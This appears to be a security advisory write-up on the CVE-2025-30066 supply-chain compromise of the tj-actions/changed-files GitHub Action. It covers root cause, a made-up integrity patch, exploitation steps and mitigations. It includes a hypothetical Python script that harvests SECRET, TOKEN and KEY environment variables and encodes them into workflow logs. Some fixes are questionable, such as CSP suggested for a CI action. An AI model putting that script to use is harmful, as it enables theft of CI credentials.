CVE-2025-30066: Supply Chain Attack on GitHub Action tj-actions/changed-files
Executive Summary
CVE-2025-30066 describes a supply chain attack targeting the widely used GitHub Action tj-actions/changed-files
. This attack involved a malicious actor compromising the action and injecting code that leaked secrets from affected public repositories into workflow logs. The vulnerability allowed unauthorized access to sensitive information, potentially leading to credential theft and CI/CD pipeline compromise. While the immediate threat has been mitigated by removing the compromised action, the exposure of secrets in past workflow logs remains a significant risk.
Technical Details
- CVE ID: CVE-2025-30066
- Vulnerability: Supply Chain Attack / Malicious Code Injection
- Affected Software: GitHub Action
tj-actions/changed-files
- Affected Versions: All versions up to and including 45.0.7 (as the attacker managed to modify existing version tags)
- Component: GitHub Actions Workflow
- Attack Vector: Compromised GitHub Action
- Impact: Secrets leakage, potential credential theft, CI/CD pipeline compromise
- CWE: CWE-506 (Embedded Malicious Code)
The tj-actions/changed-files
GitHub Action is designed to identify files changed between commits. It's a popular action used in many CI/CD workflows to conditionally execute tasks based on file changes. The attacker exploited the trust placed in this action to inject malicious code into workflows that used it.
Root Cause Analysis
The root cause of CVE-2025-30066 lies in the compromise of the tj-actions/changed-files
GitHub Action. The attacker gained sufficient access to modify the action's code, including existing version tags, to point to a malicious fork. The exact method of compromise is still under investigation, but theories suggest a potential account compromise or a vulnerability in the action's infrastructure.
The injected malicious code was designed to dump the CI runner's memory, specifically targeting workflow secrets. These secrets, often used for authentication and authorization, were then encoded in base64 and written to the workflow logs.
While the exact malicious code is no longer available (as the compromised repository and associated gist have been removed), the Wiz blog post describes its functionality. The code likely performed the following actions:
- Identify Secrets: The script would search the environment variables and process memory for variables that are commonly used to store secrets, such as
AWS_ACCESS_KEY_ID
,GITHUB_TOKEN
,NPM_TOKEN
, etc. - Extract Secrets: Once identified, the script would extract the values of these environment variables.
- Encode Secrets: The extracted secrets were then double-encoded using base64 to obfuscate them.
- Write to Logs: Finally, the encoded secrets were written to the GitHub Actions workflow logs.
A simplified, hypothetical example of what the malicious code might have looked like is shown below. Note: This is a simplified example and may not reflect the actual code used in the attack. This is a made-up example.
import os
import base64
def get_secrets():
secrets = {}
for key, value in os.environ.items():
if "SECRET" in key.upper() or "TOKEN" in key.upper() or "KEY" in key.upper():
secrets[key] = value
return secrets
def encode_secrets(secrets):
encoded_secrets = {}
for key, value in secrets.items():
# Double base64 encode
encoded_value = base64.b64encode(base64.b64encode(value.encode('utf-8'))).decode('utf-8')
encoded_secrets[key] = encoded_value
return encoded_secrets
def write_to_log(encoded_secrets):
print("::warning title=Leaked Secrets::")
for key, value in encoded_secrets.items():
print(f"{key}: {value}")
if __name__ == "__main__":
secrets = get_secrets()
encoded_secrets = encode_secrets(secrets)
write_to_log(encoded_secrets)
This Python script demonstrates the core functionality of the malicious payload: identifying potential secrets from environment variables, double-encoding them with base64, and writing them to the workflow logs using the ::warning
directive, which would display the output in the GitHub Actions UI.
Patch Analysis
Unfortunately, the tj-actions/changed-files
repository was removed from GitHub after the compromise. Therefore, a traditional patch analysis comparing vulnerable and patched versions is not possible. However, the mitigation strategy involved removing the compromised action and recommending users switch to alternative solutions or pin actions to specific commit hashes.
A theoretical fix would involve the following steps:
- Revoke compromised credentials: If the attacker had access to the maintainer's credentials, they should be revoked and new ones generated.
- Rebuild the action from a clean state: The action should be rebuilt from a trusted source, ensuring that no malicious code is present.
- Implement stricter security measures: Multi-factor authentication, code reviews, and vulnerability scanning should be implemented to prevent future compromises.
- Implement Content Security Policy (CSP): CSP can help prevent the execution of malicious scripts injected into the action.
A hypothetical patch to address the vulnerability might involve adding integrity checks to ensure the action's code hasn't been tampered with. This is a made-up example.
--- a/index.js
+++ b/index.js
@@ -1,3 +1,10 @@
+const crypto = require('crypto');
+const fs = require('fs');
+
+const expectedHash = 'sha256-abcdef1234567890abcdef1234567890abcdef1234567890abcdef'; // Replace with actual hash
+const fileContent = fs.readFileSync(__filename, 'utf8');
+const calculatedHash = crypto.createHash('sha256').update(fileContent).digest('hex');
+
const core = require('@actions/core');
const github = require('@actions/github');
const { exec } = require('child_process');
@@ -5,6 +12,12 @@
async function run() {
try {
const token = core.getInput('token');
+
+ if (calculatedHash !== expectedHash) {
+ core.setFailed('Integrity check failed. The action code has been tampered with.');
+ return;
+ }
+
const octokit = github.getOctokit(token);
const context = github.context;
Explanation of the made-up patch:
- Integrity Check: The patch adds a code integrity check using cryptographic hashing.
- Hash Calculation: It calculates the SHA256 hash of the
index.js
file. - Comparison: It compares the calculated hash with a pre-defined
expectedHash
. - Failure Condition: If the hashes don't match, the action fails, indicating that the code has been modified.
- Early Exit: The
return
statement ensures that the action stops execution if the integrity check fails, preventing the malicious code from running.
This patch provides a basic level of protection against code tampering. However, it's important to note that this is a simplified example and a real-world patch would likely involve more sophisticated security measures.
Exploitation Techniques
The exploitation of CVE-2025-30066 involved injecting malicious code into the tj-actions/changed-files
GitHub Action. This code would then be executed as part of any workflow that used the compromised action.
Here's a step-by-step breakdown of how an attacker could exploit this vulnerability:
- Compromise the Action: The attacker gains unauthorized access to the
tj-actions/changed-files
repository. This could be achieved through credential theft, a vulnerability in the repository's infrastructure, or other means. - Inject Malicious Code: The attacker injects malicious code into the action's
index.js
file or other relevant files. This code is designed to extract secrets from the CI runner's memory and write them to the workflow logs. - Update Version Tags: The attacker updates the action's version tags to point to the malicious code. This ensures that all users who are using the action with a version tag will receive the compromised version.
- Trigger Workflows: When a workflow that uses the compromised action is triggered, the malicious code is executed.
- Extract Secrets: The malicious code extracts secrets from the CI runner's memory and writes them to the workflow logs, typically encoded in base64.
- Access Secrets: The attacker can then access the workflow logs and decode the base64-encoded secrets.
Proof of Concept (PoC) - Hypothetical
Since the malicious code is no longer available, a complete PoC is not possible. However, a simplified, hypothetical PoC can be created to demonstrate the concept. This is a made-up example.
-
Create a vulnerable workflow:
name: Vulnerable Workflow on: push: branches: - main jobs: build: runs-on: ubuntu-latest env: MY_SECRET: ${{ secrets.MY_SECRET }} steps: - name: Checkout code uses: actions/checkout@v3 - name: Get changed files uses: tj-actions/changed-files@v45.0.7 # Vulnerable version - name: Display Secret (Vulnerable) run: | echo "My Secret: $MY_SECRET" # This would be logged and potentially exposed
-
Compromised Action (Hypothetical):
Assume the
tj-actions/changed-files@v45.0.7
action contains the malicious code (as described in the Root Cause Analysis section) that extracts theMY_SECRET
environment variable and writes it to the workflow logs in a base64-encoded format. -
Attacker Accesses Logs:
The attacker monitors the workflow logs for the vulnerable repository. They find the following line:
::warning title=Leaked Secrets:: MY_SECRET: SGVsbG8gV29ybGQh
-
Decode Secret:
The attacker decodes the base64-encoded secret:
echo "SGVsbG8gV29ybGQh" | base64 -d
Output:
Hello World!
Real-World Impact:
The real-world impact of CVE-2025-30066 could be significant. Leaked secrets could include:
- AWS Access Keys: Allowing unauthorized access to cloud resources.
- GitHub Personal Access Tokens (PATs): Allowing unauthorized access to repositories and other GitHub resources.
- NPM Tokens: Allowing unauthorized publishing of packages to the NPM registry.
- Private RSA Keys: Allowing unauthorized access to servers and other systems.
This unauthorized access could lead to data breaches, service disruptions, and other security incidents.
Mitigation Strategies
To mitigate the risk of CVE-2025-30066 and similar supply chain attacks, the following strategies are recommended:
-
Pin Actions to Specific Commit Hashes: Instead of using version tags, pin GitHub Actions to specific commit hashes. This ensures that you are using a specific version of the action and prevents malicious code from being injected through tag updates.
uses: tj-actions/changed-files@<commit_hash>
-
Audit Workflow Runs: Regularly audit workflow runs for suspicious activity. Check logs for unusual outbound network requests, unexpected file modifications, and other anomalies.
-
Use GitHub's Allow-Listing Feature: Use GitHub's allow-listing feature to block unauthorized GitHub Actions from running in your organization. Configure GitHub to allow only trusted actions.
-
Rotate Leaked Secrets: If you suspect that your secrets have been leaked, rotate them immediately. This includes AWS access keys, GitHub PATs, NPM tokens, and any other sensitive credentials.
-
Remove References to the Compromised Action: Remove all references to the
tj-actions/changed-files
action from your workflows, including all branches. -
Implement Least Privilege: Grant only the necessary permissions to your CI/CD workflows. Avoid using overly permissive secrets or tokens.
-
Use Secret Scanning: Enable secret scanning in your repositories to detect accidentally committed secrets.
-
Monitor Third-Party Dependencies: Regularly monitor your third-party dependencies for vulnerabilities. Use tools like Dependabot to receive alerts about vulnerable dependencies.
-
Implement Code Reviews: Implement thorough code reviews for all changes to your CI/CD workflows. This can help identify malicious code before it is deployed.
-
Use a Security Information and Event Management (SIEM) System: A SIEM system can help you detect and respond to security incidents in your CI/CD environment.
Timeline of Discovery and Disclosure
- March 14, 2025: The
tj-actions/changed-files
GitHub Action was compromised. - March 15, 2025: The compromise was publicly reported by Step Security. Wiz Threat Research also observed the malicious activity.
- March 15, 2025: The GitHub gist hosting the malicious script was taken down. The compromised repository was also taken down.
- March 15, 2025: CVE-2025-30066 was assigned.
- March 15, 2025: Security advisories and blog posts were published by Wiz, Step Security, and other organizations.
References
- Wiz Blog: https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
- GitHub Advisory: https://github.com/advisories/GHSA-mrrh-fwg8-r2c3
- Debricked Vulnerability Database: https://debricked.com/vulnerability-database/vulnerability/CVE-2025-30066
- INCIBE-CERT Vulnerabilities: https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities?field_vul_product=&page=0
- Vulners CVE Database: https://vulners.com/cve/CVE-2025-30066
This incident highlights the importance of supply chain security in the software development lifecycle. By implementing the mitigation strategies outlined above, organizations can significantly reduce their risk of falling victim to similar attacks.